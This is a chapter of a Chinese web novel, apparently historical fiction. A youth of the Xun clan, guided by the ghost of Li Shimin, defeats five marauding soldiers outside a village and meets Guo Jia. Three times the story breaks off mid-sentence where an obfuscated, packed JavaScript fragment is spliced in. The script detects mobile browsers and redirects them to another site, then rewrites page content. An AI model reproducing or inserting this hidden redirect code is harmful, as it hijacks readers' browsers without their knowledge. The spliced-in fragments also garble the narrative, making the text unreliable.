傍晚,众人在官道附近的林子里安营扎寨,各家部曲在外围戒备,里面则开始搭锅做饭,如此忙中有序直到夜幕降临。 荀晔把帐篷扎的结结实实,等他爹回来一起吃饭,都收拾好了才开始问问题。 ——爹,透个底,现在到底什么情况? 荀悦微微皱眉,低声道,“你叔祖被董卓强征为官,月初刚刚升任司空。” “他还怪大方呢。”荀晔小声嘀咕。 他知道司空和太尉、司徒合称三公,乃是朝中最尊贵显赫的官职之一,这不得比董卓自个儿的品级还高啊? 荀悦无声叹气,“从应召到位至三公仅仅九十三日,旬日之间位极人臣,这可不是什么好事。” 早年朝中外戚宦官交相擅权,两次党锢之祸荀氏都被卷入其中,虽然被党人都很有名望,但是稍有不慎就有杀身之祸。 荀氏八龙名扬天下又能如何?依旧闲赋在家郁郁不得志。 可不当官有不当官的无拘无束,进官场有进官场的身不由己。 朝堂上升迁过快本就不妥,又是被董卓那等弄权乱政之辈所提拔,叔父在京城的处境可想而知。 董卓入京后征召名士入朝为官,名望最盛的几位都是颍川人。家中有人能从漩涡中心传出消息,他们各家才能如此快的举族搬迁。 战祸在即,动静大不大已经不重要了,京城没空管他们这些小事儿。 “董卓入京是袁氏的策划,太傅袁隗利用录尚书事的便利将他推上高位。只是现在,这颗棋子已经不甘心继续受人摆布。” 董仲颖提拔官员之前先根据旧制恢复了位在三公之上的“相国”之职并自己担任,相国的职权已然超过袁太傅。 如果董卓单纯是个不通权术的粗鄙武夫也就罢了,可是能在朝中兴风作浪的人物怎么可能不同权术? 他想要摆脱袁氏的控制,又不想和天下士人全部闹翻,于是为前些年备受迫害的党人平反,还火速提拔了一大批和汝南袁氏完全没有关系或出身低微的士人。 荀氏在颍川算是大族,但是和汝南袁氏那种门生故吏遍天下的高门没法比。 世族之间也会争权夺利,董卓要扶持别的家族和袁氏分庭抗礼,袁氏也不会不反击。 然而董卓有兵权,他要是不甘心给袁氏当棋子袁氏还真拿他没办法。 荀晔:懂,汝南袁氏这是遛狗不带绳最后被狗溜了。 也就是说这会儿董卓和袁氏正在京城打擂台,他叔祖父和同时被董卓提拔上去的官员可能会成为炮灰。 众炮灰目前性命无忧,但是周围闲言碎语也伤人,天天被人嘲讽挤兑估计比直接动刀子还难受。 一灯如豆,烛火微弱令人更加不安。 “董卓入京后表典军校尉曹操曹孟德为骁骑校尉,曹孟德拒绝任命弃官离京,如今正屯兵陈留并号召天下英雄讨伐董卓。” “还有那执金吾丁原的旧部张扬张稚叔,丁原被害之后他便在上党起兵,打的同样是讨伐董卓的旗号。” 荀晔耸耸肩,“董卓倒行逆施,以后会有更多人起兵讨伐他。” “各州郡都在起兵,真心想除贼的却寥寥无几。”荀悦眸中忧愁更甚,“他们起兵后都说要攻入洛阳扶持弘农王重新登基,可董卓性子暴虐,听到这般说辞后弘农王焉能保住性命?” 白天忙着赶路没空胡思乱想,晚上想起来就控制不住的发愁。 京中各方势力错综复杂,野心勃勃者比比皆是,大汉国祚数百年,这次怕是真的要乱了。 荀晔也愁,唉,活着真难。 万恶的封建社会,就是缺少社会主义的铁拳。 月落日升,天色微微亮,寂静的临时营地便动了起来。 荀彧提前和要经过的各个县城打过招呼,避难大军一路安稳抵达密县。 他们那么多人肯定不能进城,于是在本地官员的指引下到城西鸡洛山安顿下来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14858483|159399||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 临近年关,避难也要过年。 大人会发愁躲到什么时候粮食够不够吃,小孩子们不知道发愁是什么,趁大人不注意就凑到一起烧竹子,噼里啪啦的爆竹声很有过年的感觉。 荀晔也想烧竹子玩,但是他已经不是五六岁的小孩儿,群居生活也不像以前只有他和他爹两个人时自在,十五六岁的大孩子不能和以前一样幼稚,于是只能无奈放弃。 好消息:时隔半个月,他信号不太好的义父终于想起来还有个义子流落在外。 坏消息:一出现就布置任务。 【腊月二十三,灶王爷升天。一伙士兵试图在祭灶的时候杀良冒功,勇敢的天命之子,你是踩着七彩祥云从天而降的救世主吗?】 【士兵数量:5人】 干巴巴的系统音中,李二陛下明光铠加身,身后长枪通体乌黑,唯有枪尖在阳光下闪着寒芒,出场跟加了特效一样炫酷。 荀晔:??? 就是说,这个系统还正经吗? “任务”俩字一出来弄得他感觉不像在学习,更像以玩家身份沉浸式玩游戏。 ——我,即天灾。 继这个大汉不正经之后,本来就不靠谱的系统也开始不正经了是吗? 李世民解释道,“系统说它最近学了不少新经验,顺便更新了培养计划。为了刺激你的积极性,以后我们出现会尽量带个任务。” 随机在附近找,什么任务都有可能。 “学习网游的先进经验?”荀晔额上划下三道黑线,“请问完成任务有奖励吗?” 李二陛下随手挽了个漂亮的枪花,轻飘飘一眼扫过来,“奖励?” 荀晔立刻站好,“义父来回辛苦,孩儿本就亏欠良多,怎敢再讨要奖励?” 李世民:…… 是不敢,而不是不想。 臭小子在这儿玩文字游戏呢。 李二陛下懒得和半大孩子计较,在没有人的地方试了下臭小子的本事,确定他有本事解决那伙贼兵才说道,“去和你爹说一声,然后出发去救人。” 这武力值,啧。 被盯上的村子离他们有一段距离,贼兵杀良冒功会等到祭灶时将村民一网打尽,再磨蹭下去待会儿就只能看到贼兵分赃了。 荀晔迅速行动起来,他要出门很容易,借口进山打猎就行。 和美人爹报备完,带上平时用的短刀和自制的弓箭,然后踏上不存在的七彩祥云直奔被贼兵盯上的村子惩恶扬善。 可惜不能骑马,不然更快。 一人一魂悄悄靠近村子入口,他们来的不晚,那伙等着烧杀抢掠的家伙正在村口处的林子里躲着。 李世民眸光微冷,虽然没法手刃这些名为兵实为匪的家伙,但还是习惯性的握紧了枪杆,“这个时期军中编制分六个级别,伍、什、队、屯、曲、部,五人一伍、二伍为什、五什为队、二队为屯、五屯为曲、二曲为部。等天下彻底乱起来,手上有一千兵马便能找个偏僻的地方据城自守。” 荀晔一边听一边分析情况,系统给的人数没有错,五个人全部配有环首刀,还有一个带着长戟,看身上的装备应该不是中央禁军。 早就听说董卓入京后纵容士兵劫掠,没想到在这儿都能撞上。 连荀彧叔他们精挑细选出来的避祸之地都不能保证一定安全,看来别的地方情况更糟。 李世民眯眯眼睛,“看到对面的长戟了吗?抢过来。” 荀晔心里有点打鼓,刚才只顾得说话,忘了对面五个人都得他来对付。 以他的身手抢长戟不算难,但是让他一打五…… “真让我自己上啊?” “此地离洛阳三百多里,凉州精锐都留在董卓身边,要抢掠也不会跑这么远。这几个士兵大概率是临阵脱逃不敢回营,这才动了歪主意屠杀良民伪装成讨贼来逃脱处罚。”李世民耐着性子解释,“现在让你打精锐肯定不行,但是对付五个只敢对普通百姓下手的软蛋足够。” 荀晔深吸一口气,再睁开眼睛还是有点怂,“干爹,我怕。” 跟人打和跟山里野兽打完全不一样,虽然他会武,但是一下子打五个真的不太行。 这是现实不是游戏,死了没法复活啊干爹。 “你是要上阵打仗的人,男子汉大丈夫不能说怕。”李世民活动活动筋骨,周身气势悄然变化,“枪者,百兵之王。所谓月棍年刀久练枪,只要枪术有成,轻松压制其他兵器不在话下。” 大唐的武器五花八门,他以骑射见长,原本常用的兵器是巨阙天弓和长槊。长兵器这种东西一法通万法通,今天不是马战,便随手挑了长枪随身。 荀晔看的两眼晶晶亮,“天策上将!” 虽然陛下很帅,但是他还是觉得不太行。 比起先夺兵器再一打五,他选择进村喊人五十打五。 义父稍等,孩儿去去就回。 4. 天生神力 * 将在外君令有所不受,在皇帝老师不能肉身来到到身边的情况下,荀小兵根本不带怕的。 不光不怕,还振振有词。 “空有武力那叫莽夫,有勇有谋才是真英雄。” 李世民嘴角微抽,臭小子乳臭未干还想当真英雄?知道英雄俩字怎么写的吗? 好在李二陛下大人有大量不和小屁孩儿一般计较,孩子有自己的想法是好事,有自己的想法就按自己的想法做,撞上南墙知道回头就行,不然就算做成了也老是惦记。 荀晔假装没有看到林中异样,背好弓箭光明正大朝村口走去,警惕的同时还不忘分心和李二陛下讲他的计划。 他这不是怂,他是有自己的节奏。 贼兵不可能认识村里的每一个人,看他大大方方的进村肯定会觉得他就是本村的村民。 那几个人按兵不动,他能安然无恙抵达村中和村民报信。 那几个人要是跳出来拦路就更好办了,打不过还能跑不过?当他这几年白练的吗?他一个飞毛腿就跑进村喊救命。 义父莫急,帅气招式可以回去再学,他不在生死之间顿悟也能学到精髓。 等他学成出师,他就是这个时代的天策上将。 李世民扛着长枪飘在旁边,对小憨憨的愿景表示鼓励,“期待那一天的到来。” 他天生力大无穷,这臭小子的力气也没差哪儿去,只要肯好好学,和他一样入千军万马如无人之境不是梦。 就是胆气不行,还得练。 村口处,垂髫小儿蹦蹦跳跳的玩耍,大人们忙着清扫屋舍搭祭供桌,忽略不远处等着烧杀抢掠的贼兵也算气氛祥和。 临近年关,每天都有要忙活的事情都很多。 灶王爷升天是汇报工作,百姓送灶神会特意选又甜又黏的食物当贡品,希望能黏住灶王爷的嘴让他到天上别说坏话,如此来祈求来年能过上好日子。 虽然糖和粮食都很珍贵,但是祭祀和别的事情不一样,而且仪式过后贡品还能收回来分着吃,所以很少有人在这上头省。 对最大的烦恼就是如何填饱肚子的百姓而言,祭灶祈福非常重要,一万个上心也不为过。 村口玩耍的小娃娃们看到生人都一脸警惕,其中一个腾腾腾跑回村里,不一会儿就有几个布衣荆钗的瘦小妇人跑出来将孩子们全部带走。 荀晔伸出尔康手,一个字都没来得及说,村口便只剩下他自己在风中凌乱。 李世民笑的促狭,“过来报信?” 得亏离那伙贼兵有一段距离,不然一眼就能看出来不对劲。 “害人之心不可有,防人之心不可无。世道那么乱,我又背着弓箭,小娃娃们有警惕心是好事。”某人嘴硬不服软,没理也能辩三分,“刚才是没来得及开口,等我找到乡老里正和他们解释清楚,他们肯定夸我英雄出少年。” 李世民不置可否,让他赶紧进村找主事人好听人家夸“少年英雄从天而降拯救全村,不得了不得了真是不得了”。 荀晔:…… 找就找! 他在颍川时经常和村里打交道,世上就没有他交涉不了的里正。 少年郎气鼓鼓的进村,看到里头的房宅门都虚掩着赶紧调整好表情。只要他表现的足够清澈,就能让村人对他放松警惕。 咚、咚、咚。 简陋的木门被敲响,院中妇人听到动静以为是邻居来借东西,抬头看到门后露出一张唇红齿白的少年脸庞着实愣了一下,“你是?” 虽然没有直接让他进去,但是好歹没和村口几位那样直接变脸关门。 荀晔靠刷脸得到说话的机会,当即表示有紧急之事想见里正,“您别紧张,我住在西山里,不是坏人。” 妇人知道西山最近多了不少别处逃来避难的人家,以为山里生活不便来借东西,于是放下手里的活儿带他去找里正,“今日祭灶,小郎怎么孤身出门?” 山路难走,就算男丁少也得给这小郎君找个伴儿,路上出现意外怎么办? 荀晔笑的软和,不着痕迹的朝旁边飘着的李二陛下眨眨眼睛,然后指着身上的弓箭回道,“我带着武器,山里的野兽伤不到我。” “还是得小心些。”妇人叹了口气,没有再多说。 里正家离的不远,几句话的时间就到了,妇人帮忙引荐完就走了,留少年郎自己和里正交涉。 村里的里正干干瘦瘦的看不出具体年纪,但是看那满脸的沧桑也能看出年岁不小。 贼兵随时可能进村,事不宜迟,荀晔简单说了下他打哪儿来,然后便把有几个兵丁打扮的人守在村口的事情告诉里正。 他住在西边鸡洛山,今天本是出门打猎,不料路上遇到几个兵丁鬼鬼祟祟,一路暗中跟随才发现他们可能要进村做坏事。 “这、这可如何是好?”里正脸色大变,原地转了两圈强迫自己冷静下来,“小郎,村口当真只有五人?” 这年头兵贼不分家,村口那几个家伙没进村还可以心存侥幸觉得他们在歇脚,等他们进村开始烧杀抢掠再防备就晚了。 荀晔点头,“只有五人,都配有环首刀,其中一人带着长戟。” “小郎大恩,某代村民在此谢过。”里正行了一礼便匆匆回屋,很快,屋里三个妇人和两个五六岁的小娃娃都跑了出去,“村口有人,敲锣恐会打草惊蛇,只能出此下策。” 先让家人去通知各家,老人孩子躲屋里关好门,劳力带上趁手武器出来,不拘是钉耙、锄头还是棍子,手边有什么就拿什么。 近些年兵丁屠村的事情屡见不鲜,他是里正,不至于天真到觉得有士兵在村口守着会是歇脚。 五个士兵看着不多,但是五人都有兵器,依旧能对村子造成巨大的威胁。 他们村子只有六十多户人家,青壮都被朝廷募去当兵,留在家里的都是老弱妇孺。 就像他家,两个儿子在外生死不知,只有他和老妻带着儿媳孙儿生活。 荀晔看着里正匆忙召集村民,以为马上就能带着村中男丁大杀四方,然而等人到齐就傻眼了。 想象中的壮劳力一个没有,只有二十多个拿着锄头钉耙、和里正一样瘦的皮包骨头的妇人,连和他差不多大的少年郎都没有,除了妇人就只剩下个头还不到他腰间的小孩儿。 别说出去和披坚执锐的兵丁打了,就是风大一点他都担心把人吹倒。 李世民幽幽开口,“到处都在打仗,官府豪强招募不到足够的兵丁就会掠捕百姓,百姓当兵是强制还是自愿全看运气。” 很不幸,这个村子并没有那么好的运气。 老话说的好:贼来如梳,兵来如篦。 对百姓而言遇见兵比遇见贼更可怕。 经常有将领打完仗纵容士兵劫掠,一来是发泄情绪,二来是补充物资。更有甚者,招兵的之后直接讲好条件,当兵没有饷银,能抢多少就拿多少。 此法虽伤天和,但极能鼓舞士气。 李二陛下仗着其他人都看不到他也听不到他的声音,在他们家小憨憨头顶绕着圈儿的说,“密县在洛阳附近,你觉得这儿的村寨经历过多少次征兵募兵?” 朝廷派人募兵动不动就跑到千里之外,为什么?因为周边已经被“招募”干净没得“招”了。 杀良冒功也是有讲究的,大部队杀良冒功不在乎村里有多少人,五个人凑在一起想杀良冒功肯定会提前探查村里的情况。 动动那不怎么灵巧的脑袋瓜,如果村里青壮多,区区五个贼兵敢挑这里动手吗? 臭小子虽然不是锦衣玉食长大,但也从未短过吃穿,更没受过颠沛流离的苦,这辈子受过最大的惊吓可能就是见到他们几个阿飘。 荀氏再怎么受党锢牵连也还是世族,只要没有彻底撕破脸就只有他们招兵买马主动投奔的份儿,没有别人强征到他们头上的道理。 没有见识过真正的乱世,自然想象不到战火天灾之下民不聊生意味着什么。 这个村子只是开始,随着战祸蔓延,将来他们会看到更多。 饥不得食,寒不得衣,生灵涂炭,满目疮痍。 济世救民不是喊几句口号那么简单,得心里有团火一直烧着,要清醒的知道自己在做什么。 李二陛下有很多话想说,但是想想又觉得没有必要。孩子总是不听劝的,说的再多也不如亲身经历效果好。 吃过亏挨过打,然后才能沉下心思考这条路到底该怎么走。 就像现在,臭小子沉没沉下心不清楚,心里的火气肯定烧的特别旺。 荀晔确实又气又难受,他以为这个村子和老家的村子差不多,早知道情况是这样他就不进村了。 一打五就一打五,有阿飘陛下看着还能打死他不成? 少年郎握紧拳头,让里正先别行动,等他探探那几个贼兵的深浅再说。 里正:??? “小郎?危险啊小郎!” 里正大惊,他们村里人少战力弱不假,可他也没想让好心来报信的少年郎替他们去送死。 听说前不久搬到西山的都是当地的殷实人家,小郎君鲜眉亮眼衣着整齐,一看就是家里宠着长大的,这要是出事了他就是十条命也不够赔。 荀晔对里正的阻拦充耳不闻,闷声不吭大步往村口走,一边走一边懊恼刚才进村的选择。 他要是在外头把那几个贼兵解决了,村里人哪还会像现在这样担惊受怕? 荀阿牞,你糊涂啊! 李二陛下再次祭出长枪,“像刚才说的那样,先抢长戟,不会用没关系,看我怎么打一样能打他们个落花流水。” 小憨憨胆气忽大忽小,习武的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14858484|159399||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天赋却是不俗。 在山里试他本事的时候他就发现了,他使过的招式这小子下一瞬就能模仿。 只要动作复刻的到位,怎么着也能发挥出六七成的威力。 若非如此,他也不敢让从来没碰过枪剑戟的傻小子上来就和贼兵打。 荀晔咬牙切齿的应道,“好!” 有超级六边形战士李二陛下手把手教导,他肯定能把对面的家伙揍的哭爹喊娘。 也是出来的巧,他刚到村口的小道上就和那五个要进村的贼兵打了个照面。 得,连一丢丢冤枉的可能都没有。 几个人已经将整个村子当做待宰肥肉,看到有人出来当即狞笑着举起手里的环首刀。跑是跑不掉的,乖乖给他们当军功吧。 万万没想到迎面撞上的布衣少年根本没打算跑,反而加快脚步上来就是一个飞踢。 荀晔这会儿只顾得生气了完全顾不上害怕,他也不知道他气什么,反正就是生气。 让你们烧杀抢掠!让你们打家劫舍!让你们欺负百姓! 都给老子死!!! 手持长戟的士兵来不及反应便身体腾空,只觉得一股巨力击中腹部,剧痛瞬间传遍全身,然后重重砸在村口那棵叶子全部掉光的老树上。 其他四人被这突来的变故吓了一跳,正要举刀反击,长戟已经带着凌厉的攻势冲到眼前,随后几个人全部步了刚才那位的后尘。 眨眼间横扫一大片的少年郎单手执戟,抬脚踩住离他最近的一个,然后长呼一口气。 爽了。 李世民:??? 刚还凶神恶煞的贼兵全都面目扭曲的满地哀嚎,他们家小憨憨逆着光踩在贼兵身上,看上去比无恶不作的贼匪还凶。 等等,这还用得上他吗? 荀晔将长戟倒过来扎进地里,等上头的热血被冷风吹走,反应过来自个儿刚才一打五大获全胜后倒吸一口凉气,赶紧搓着胳膊从贼兵身上跳下来。 “感谢义父战神之光的笼罩!” “义父万岁!” 守护阿飘:…… 有没有可能,你那叫怒壮怂人胆? 李二陛下无语的再次收回长枪,感觉自己像是来拖后腿的。 不远处,里正和拿着锄头钉耙的妇人们目瞪口呆,直到荀晔喊他们拿绳子才如梦初醒。 兵丁不好惹,是得拿绳子捆起来。 五个身着甲衣的士兵被堵上嘴捆的结结实实,里正和村人对路见不平的英勇少年千恩万谢,夸的小英雄本人都开始不好意思了。 嘿嘿,继续夸继续夸,不要停。 不过危机虽然解除,事情却没有结束,村里没法处置这几个贼兵。 “送官?”荀晔搓搓下巴,“这儿离县城好像有点远。” 不光有点远,还不一定能让这几个人受到惩罚。要是这几个人逃脱处罚后怀恨在心卷土重来,他们的麻烦就更大了。 里正犹豫片刻,然后小声说道,“昨日村人出去捡柴,发现河边驻扎了一支军队。营门处围有鹿砦,想必不会立刻就走。” 荀晔不太放心,“安全吗?” 经过李二陛下无死角全方位立体环绕式的播放,他现在感觉当兵的没一个好东西。 里正也不敢保证军营一定安全,将这些贼兵送去官府可能无济于事,将他们送去军营好像更可能被他们逃脱。 荀晔皱紧眉头,下意识看向旁边的守护阿飘。 ——干爹,人捆了,现在怎么处理? 李世民摸摸鼻子,没敢说他最开始的想法是将这几个作恶的贼兵处死然后随便挖个坑埋了。 这等宵小能有个坑埋已经很不错了,要他动手就直接曝尸荒野,还省了挖坑的力气。 好吧,他反思,教孩子要循序渐进,不能上来就血渍呼啦。 就在荀晔和里正对着愁的时候,几辆牛车出现在远处的官道上。 整个村子都在官道一侧,官道并没有延伸到村里,不过不知道为什么,为首的那辆牛车竟然下了官道朝村口驶来。 天冷的厉害,车厢盖的严严实实,丝毫看不出里面是什么情况。 里正的表情越发愁苦,他们村人少,大伙儿都穷的叮当响,谁家都没有用得起牛车的阔亲戚,这又是闹的哪一出? 牛车在村口停稳当,一只修长瘦削的手掀开车帘,神色恹恹的青年文士探出身子,看到地上捆的结结实实的士兵顿了一下,然后假装什么都没有看到,缓缓开口问道,“请问此地可是鸡洛山?” 里正小心的打量来者,躬着身子格外谨慎,“鸡洛山在西边儿,郎君找错地方了。” “多谢老伯。”略带病容的年轻文士拱手道谢,谢完之后却没有让车夫调转车头,而是慢吞吞从车上下来,“阿牞侄儿,见到叔父为何不打招呼?” 5. 郭嘉咋啦 * 晴空万里,无云无风,是个冬日难得的好天气。 荀晔的心情却好似平地起惊雷。 他没想到问路的路人能叫出他的小名,更没想到这人会自称他的叔父。 曾祖父八个儿子中他祖父是老大,到下一辈他爹便顺理成章的成了同辈中的老大哥,也就是说荀氏八龙另外七家所有的男丁都是他叔。 他背过家谱,能见面的叔父这些天都见过了,没见过的那几位叔父在外地任职,且已经打过招呼不会专程赶过来,所以这是哪位? 里正的心情也不太美好,明明前不久还在家里热热闹闹的祭灶王爷,才过了短短一会儿就好像沧桑了好几岁。 虽然沧桑在他脸上也看不大出来。 村人淳朴,平时遇到路人问路顺手就帮了,奈何最近山里多了许多避难的外地百姓,来自外地的小郎君又刚救了他们全村,这种情况下听到有人打听难免提高警惕。 他们世代住在村子里尚且会被贼兵盯上,山里避难的百姓肯定更危险,小心点没坏处。 里正刚刚经历贼兵进村可谓是草木皆兵,听到新来的郎君和救了他们全村的小郎是叔侄才拍拍脑袋重新指路,“郎君顺着官道继续走,约莫走个五六里就会有进山的小路。瞧我这脑子,您二位待会儿一起回便是。” 救命之恩不能只口头相报,他们村子虽穷,却也有几只留着过年的鸡鸭可以送给恩人。 他马上让家里捆好鸡鸭送来,正好放在牛车上让恩人带走带走。 “不不不,不用。”荀晔试图阻拦,奈何里正和刚才一门心思冲出来打架的他一样根本不听。 不光里正家的人回去绑鸡捆鸭,其他拎着锄头的妇人也都赶忙回家看看有什么可以用来当谢礼。 几句话的功夫,村口就只剩下寥寥几人。 嗯,站着的还没躺着的多。 荀晔悄悄瞥了一眼靠在牛车上的青年文士,眼里的纠结清晰可见。 知道他的小名,应该不是占他便宜,可他印象中没有这个叔父啊? 还有就是,他有这么年轻的叔父吗? ——义父,救救? 小憨憨用眼神求助,他实在想不出来这位忽然冒出来的叔父是哪位。 李世民看热闹看的开心,“这是你叔父,你都不认识我怎么认识?” 自称“叔父”的青年文士神色自若,似乎察觉到了什么顺着小傻蛋的目光看去,发现那边什么都没有皱了皱眉,然后继续等“侄儿”上前见礼。 李二陛下立刻收住笑容,绕到牛车旁站定,确定除了小憨憨外没人看得到他才松了口气。 不是他草木皆兵,而是系统时不时就出个故障不得不小心。 荀晔没注意一人一魂的暗中交锋,他实在猜不出这位自称他“叔父”的人是谁,就算尴尬也只能硬着头皮去问,“小子自幼随父隐居乡野,敢问您是……” “某姓郭名嘉,颍川人士。”郭某人换了个姿势,煞有其事的抹抹眼角不存在的眼泪,“你我叔侄相见不相识,为叔甚是伤怀。” “郭、郭叔父?”荀晔缓缓睁大眼睛,好险直接把名字喊出来。 姓郭名嘉,颍川人士,那个“哀哉奉孝!痛哉奉孝!惜哉奉孝!”的郭嘉郭奉孝? 美人爹深居简出,认识的名人还真不少。 不愧是他爹。 郭嘉自报家门,成功从小傻蛋口中听到“叔父”二字迅速收回正经,斜斜靠在车厢上笑的促狭,“只是数年未见,阿牞怎的连郭叔父的都忘了?” 荀晔听这语气感觉有点不对劲,感觉这人下一句就会是“我小时候还抱过你呢”。 完蛋,这家伙可能真的在占他便宜。 郭嘉清清嗓子,不给小傻蛋深究的机会,指指地上捆着的“毛毛虫”们问道,“这是?” “这几个家伙想进村劫掠,幸好他们没一个能打的,不然整个村子都危险了。”荀晔的注意力果然被转移走,反正喊“叔父”不会少块肉,来都来了快一起发愁,“现在的问题是该怎么处置这些家伙。” 杀吧,他不敢下手,让村人下手又怕有后患。 送官吧,又怕县里的官胆小怕事扭头就把这几个人给放了,他不怕寻仇村子怕。 最好的办法就是找个军纪严明的将领来给他们做主,士兵劫掠百姓是死罪,平时可以睁只眼闭只眼当看不见,但是只要追究肯定要杀鸡儆猴以整军纪。 既不用他们动手杀人,也能让这几个畜生没机会再出来作恶。 那么问题来了,上哪儿找这么个能给他们做主的将领?洛阳附近有时刻约束士兵整肃军纪的将领吗? 郭嘉拢拢领口,笑眯眯的问道,“为什么不带上他们去问你父亲或者叔父?” 荀氏成员都在山里避难,京城还有个位列三公的长辈,想找个为人正直的将领还不容易? 就算不找将领给他们做主,荀氏也不至于连几个劫掠百姓的兵丁都解决不了。 他说什么来着,养孩子孩子与世隔绝,小傻蛋本就不聪明,好不容易回魂痊愈更得多和外界接触,不能因为放心不下就带着孩子一起隐居。 “族人在山里避难,怎好带这些人过去?”荀晔不太放心,他们进山本就是躲避兵祸,没有主动把兵往山里带的道理,就算这几个兵对他们没有威胁也不行,“叔父稍等,我再找几根绳子把他们捆树上,然后带叔父进山去见家父。” 村口都是树,一棵树绑一个人,再让里正找个,比让他们在地上打滚更加保险。 干等着不是办法,反正也商量不出眉目,现在回山里待会儿还来得及再出来一趟,再磨蹭下去到天黑也解决不了问题。 义父莫慌,今儿这任务肯定能完成。 李世民不着急,贼兵已经没法再进村劫掠,要他来说任务已经完成,就是这小子的胆量还得再练。 绳子很快找到,准备好谢礼的村民也陆续回来,郭嘉示意车夫去把地上几个人捆到树上,好让傻侄儿专心应对热情的村民。 几年不见,他很好奇这小傻蛋现在是什么情况。 仲豫兄在信中说傻小子回魂后身体恢复的很快,不光活蹦乱跳还浑身使不完的牛劲。 虽然他没看到这小子怎么降服的敌人,但是他能看出来人身上的伤势是怎么造成的。 村民动手的话现场不会这么干净,环首刀和长戟能轻松取人性命,钉耙、锄头砸在身上也是一砸一个窟窿。 没动手的村民拿着农具战战兢兢不知如何是好,生死关头的村民可顾不得那么多,愤怒之下甚至可能直接将这几个贼兵砸成肉泥。 当然,以双方战斗力的差距,更大的可能是村民被屠杀殆尽而贼兵只受点轻伤。 他这小半年从豫州到冀州又到司隶,沿途见了太多村寨废墟,泱泱大汉没有一片地方是好的。地方官招兵买马声称保境安民,实际呢,数不清有多少是权欲熏心。 郭嘉扫了一眼被绑死在树上的贼兵,又漫不经心的收回目光。 力气大爱打猎爱种田是一回事儿,降服足足五个带着刀的兵丁又是一回事儿,仲豫兄也没说过家里孩子回魂后就武艺超群啊。 旁边,荀晔实在拒绝不了热情的里正,只能挂着满身鸡鸭和新鲜出炉的郭叔父一起回山里。 因为不确定要避多久的难,他们搬家的时候都带了至少半年的粮食,没有意外的话应该比村子里的存粮多。 待会儿他带点别的东西回来,就当是邻里间的正常往来。 凭本事换来的鸡鸭,怎么不算是“猎物”呢? 荀阿牞出门“打猎”满载而归,不光带回了满身的鸡鸭还带附带了一个自称是他叔父的郭嘉。 少年郎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14858485|159399||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风风火火放下鸡鸭,回屋吨吨吨喝饱了水,然后才挑挑拣拣和美人爹说他出去后发生了什么,“阿父,您以后千万别一个人出门,外头可危险了。” 荀悦慌忙起身,差点被傻儿子给吓死,“你一个人打他们五个?受伤了吗?” “当然没有。”荀晔摆了个帅气的姿势,摇头晃脑的显摆道,“那几个家伙弱的很,根本不是我的对手。” 李世民慢悠悠飘进来,“也不知道刚开始是谁吓的非要进村搬救兵。” 荀晔假装什么都没听到,继续和亲爹说话,“阿父,郭叔父就在后面,您先去见他。” 荀悦眉头紧蹙,确定傻小子浑身上下没一点儿伤才心下稍安,“下次不可如此鲁莽。” 既然是出门没多久就看到了那几个贼兵,回来报信也花不了多少时间,不比他自己偷偷跟在后面安全? 初生牛犊不怕虎,真是胆大包天。 荀晔朝美人爹讨好的笑笑,顶着数落催他去见客人。 义父说他胆小,亲爹说他胆大,要不您二位先吵一架? 算了,美人爹脾气好,吵架这种事情还是交给他嘴皮子利索的儿子吧。 郭嘉让牛车都停在门口,认认真真整理好衣裳,确定自己看上去一如既往的倜傥风流,这才踱着步子笑吟吟进门,“仲豫兄,好久不见。” 荀悦已经从儿子口中知道有位姓郭的“叔父”找来,转身看到真人惊喜中带着些哭笑不得,“阿牞实诚,你欺负他作甚?” 郭嘉无辜的眨眨眼睛,“嘉与文若感情甚笃,仲豫兄是文若兄长,让阿牞喊声叔父何错之有?” 虽然他只比小傻蛋年长三五岁,但颍川各家向来是各论各的,他按他的好友算辈分没毛病。 荀悦轻笑一声,“你怎不说我与你父同辈相交?” 郭嘉耸耸肩,“那是你们的事情,与嘉无关。” 荀晔悄悄撇嘴,他说什么来着,这家伙果然在占他便宜。 叙旧可以等等,那五个贼兵还在村口绑着,先来教教他到底该怎么处理。 荀悦看看稚嫩莽撞的傻儿子,让他去隔壁找荀彧,“去你叔父那里说一声,他会处理好。” “好嘞。”荀晔应了一声,然后带上院里的鸡鸭再次风风火火出发。 荀悦摇头失笑,目送傻小子出门才请郭嘉进屋,“冀州之行,感受如何?” 郭嘉自顾自找地方坐下,手肘撑在矮桌上托着脸无精打采道,“冀州尚且安稳,只是那袁本初欲效周公却多端寡要,实在不足与谋。” 辛评、郭图等人将尽除宦官面斥董卓的袁绍袁本初夸的天上有地上无,他去的时候有多期待,回来的时候就有多失望。 如果天下英豪都是袁本初那般,找个山清水秀的地方隐居好像也不错。 